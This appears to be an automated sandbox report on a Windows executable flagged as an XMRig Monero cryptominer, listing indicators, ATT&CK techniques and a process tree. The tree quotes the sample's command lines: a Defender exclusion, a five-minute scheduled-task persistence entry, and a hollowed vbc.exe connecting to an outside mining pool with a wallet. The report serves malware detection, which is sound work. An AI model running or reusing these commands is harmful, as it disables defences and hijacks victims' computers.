xmrig | b3ecd25daf25e1863a10d36fec267279ec344b291b1d042580668ee54f0c0788

Resubmissions

06/03/2024, 22:46

240306-2pzx2abc39 7

23/12/2022, 20:25

221223-y7mhwahb34 10

23/12/2022, 20:11

221223-yx8ncscc9x 10

23/12/2022, 20:03

221223-ys7v9sha97 10

Analysis

max time kernel
652s
max time network
654s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
23/12/2022, 20:11

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe
Size

2.1MB
MD5

55a350a007f6943a7e09f4abfdfa6979
SHA1

c94e84ddbb6f525cfa675791c7f2d9b36d28a3ef
SHA256

896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80
SHA512

707269690787a70980cfc2658592cef762503ce7228fdfa56f5d584552327d28e338cc877fb37b1414f451a9c05a05fe3e134bc0197563a266fd62ab539bdc16
SSDEEP

49152:yMkkwgEEIRmnl1DVHYYhdxiUFZ4l7jl1nUI3gg+cnIFPsxdgyg:yDkfRX4UTDennUI3gvcIlRz

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 9 IoCs

miner

resource	yara_rule
behavioral2/memory/1704-159-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/1704-160-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/1704-161-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/1704-162-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/1704-164-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/1704-166-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/1704-171-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3012-305-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/4764-343-0x0000000140343234-mapping.dmp	xmrig

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4432 set thread context of 1704	4432	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	91
PID 984 set thread context of 3012	984	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	118
PID 4504 set thread context of 4764	4504	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	129

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
492	schtasks.exe
3552	schtasks.exe
2244	schtasks.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "182"	LogonUI.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings	taskmgr.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2840	powershell.exe
2840	powershell.exe
4432	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4888	taskmgr.exe

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
672	Process not Found
672	Process not Found
672	Process not Found

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	4432	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe
Token: SeDebugPrivilege	2840	powershell.exe
Token: SeDebugPrivilege	4888	taskmgr.exe
Token: SeSystemProfilePrivilege	4888	taskmgr.exe
Token: SeCreateGlobalPrivilege	4888	taskmgr.exe
Token: SeLockMemoryPrivilege	1704	vbc.exe
Token: SeLockMemoryPrivilege	1704	vbc.exe
Token: SeDebugPrivilege	4116	powershell.exe
Token: SeDebugPrivilege	4508	powershell.exe
Token: SeDebugPrivilege	984	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe
Token: SeDebugPrivilege	3268	powershell.exe
Token: SeDebugPrivilege	3844	powershell.exe
Token: SeDebugPrivilege	1648	powershell.exe
Token: SeDebugPrivilege	2884	powershell.exe
Token: SeLockMemoryPrivilege	3012	vbc.exe
Token: SeLockMemoryPrivilege	3012	vbc.exe
Token: SeDebugPrivilege	4504	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeLockMemoryPrivilege	4764	vbc.exe
Token: SeLockMemoryPrivilege	4764	vbc.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
1704	vbc.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe
4888	taskmgr.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2604	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4432 wrote to memory of 2840	4432	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	76
PID 4432 wrote to memory of 2840	4432	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	76
PID 4432 wrote to memory of 4528	4432	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	84
PID 4432 wrote to memory of 4528	4432	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	84
PID 4528 wrote to memory of 492	4528	cmd.exe	86
PID 4528 wrote to memory of 492	4528	cmd.exe	86
PID 4432 wrote to memory of 1704	4432	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	91
PID 4432 wrote to memory of 1704	4432	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	91
PID 4432 wrote to memory of 1704	4432	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	91
PID 4432 wrote to memory of 1704	4432	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	91
PID 4432 wrote to memory of 1704	4432	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	91
PID 4432 wrote to memory of 1704	4432	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	91
PID 4432 wrote to memory of 1704	4432	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	91
PID 4432 wrote to memory of 1704	4432	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	91
PID 4432 wrote to memory of 1704	4432	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	91
PID 4432 wrote to memory of 1704	4432	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	91
PID 4432 wrote to memory of 1704	4432	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	91
PID 4432 wrote to memory of 1704	4432	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	91
PID 4432 wrote to memory of 1704	4432	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	91
PID 4432 wrote to memory of 1704	4432	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	91
PID 4948 wrote to memory of 4116	4948	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	95
PID 4948 wrote to memory of 4116	4948	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	95
PID 2684 wrote to memory of 4508	2684	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	100
PID 2684 wrote to memory of 4508	2684	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	100
PID 984 wrote to memory of 3268	984	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	117
PID 984 wrote to memory of 3268	984	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	117
PID 984 wrote to memory of 372	984	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	107
PID 984 wrote to memory of 372	984	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	107
PID 3716 wrote to memory of 3844	3716	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	109
PID 3716 wrote to memory of 3844	3716	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	109
PID 1680 wrote to memory of 1648	1680	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	111
PID 1680 wrote to memory of 1648	1680	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	111
PID 392 wrote to memory of 2884	392	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	115
PID 392 wrote to memory of 2884	392	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	115
PID 372 wrote to memory of 3552	372	cmd.exe	114
PID 372 wrote to memory of 3552	372	cmd.exe	114
PID 984 wrote to memory of 3012	984	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	118
PID 984 wrote to memory of 3012	984	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	118
PID 984 wrote to memory of 3012	984	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	118
PID 984 wrote to memory of 3012	984	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	118
PID 984 wrote to memory of 3012	984	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	118
PID 984 wrote to memory of 3012	984	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	118
PID 984 wrote to memory of 3012	984	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	118
PID 984 wrote to memory of 3012	984	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	118
PID 984 wrote to memory of 3012	984	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	118
PID 984 wrote to memory of 3012	984	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	118
PID 984 wrote to memory of 3012	984	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	118
PID 984 wrote to memory of 3012	984	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	118
PID 984 wrote to memory of 3012	984	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	118
PID 984 wrote to memory of 3012	984	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	118
PID 4504 wrote to memory of 2340	4504	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	123
PID 4504 wrote to memory of 2340	4504	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	123
PID 4504 wrote to memory of 4332	4504	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	125
PID 4504 wrote to memory of 4332	4504	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	125
PID 4332 wrote to memory of 2244	4332	cmd.exe	128
PID 4332 wrote to memory of 2244	4332	cmd.exe	128
PID 4504 wrote to memory of 4764	4504	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	129
PID 4504 wrote to memory of 4764	4504	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	129
PID 4504 wrote to memory of 4764	4504	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	129
PID 4504 wrote to memory of 4764	4504	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	129
PID 4504 wrote to memory of 4764	4504	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	129
PID 4504 wrote to memory of 4764	4504	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	129
PID 4504 wrote to memory of 4764	4504	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	129
PID 4504 wrote to memory of 4764	4504	896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe	129

C:\Users\Admin\AppData\Local\Temp\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe
"C:\Users\Admin\AppData\Local\Temp\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4528
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
    3⤵
    - Creates scheduled task(s)
    PID:492
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:1704

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4888

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1564

C:\Users\Admin\AppData\Local\Temp\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe
"C:\Users\Admin\AppData\Local\Temp\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4116

C:\Users\Admin\Desktop\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe
"C:\Users\Admin\Desktop\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4508

C:\Users\Admin\Desktop\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe
"C:\Users\Admin\Desktop\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:372
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
    3⤵
    - Creates scheduled task(s)
    PID:3552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3268
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3012

C:\Users\Admin\Desktop\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe
"C:\Users\Admin\Desktop\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3844

C:\Users\Admin\Desktop\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe
"C:\Users\Admin\Desktop\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1648

C:\Users\Admin\Desktop\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe
"C:\Users\Admin\Desktop\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2884

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe"
1⤵
PID:3412

C:\Users\Admin\Desktop\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe
"C:\Users\Admin\Desktop\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4332
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
    3⤵
    - Creates scheduled task(s)
    PID:2244
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4764

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39bf855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:2604

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding
1⤵
PID:3752

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding
1⤵
PID:1240

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

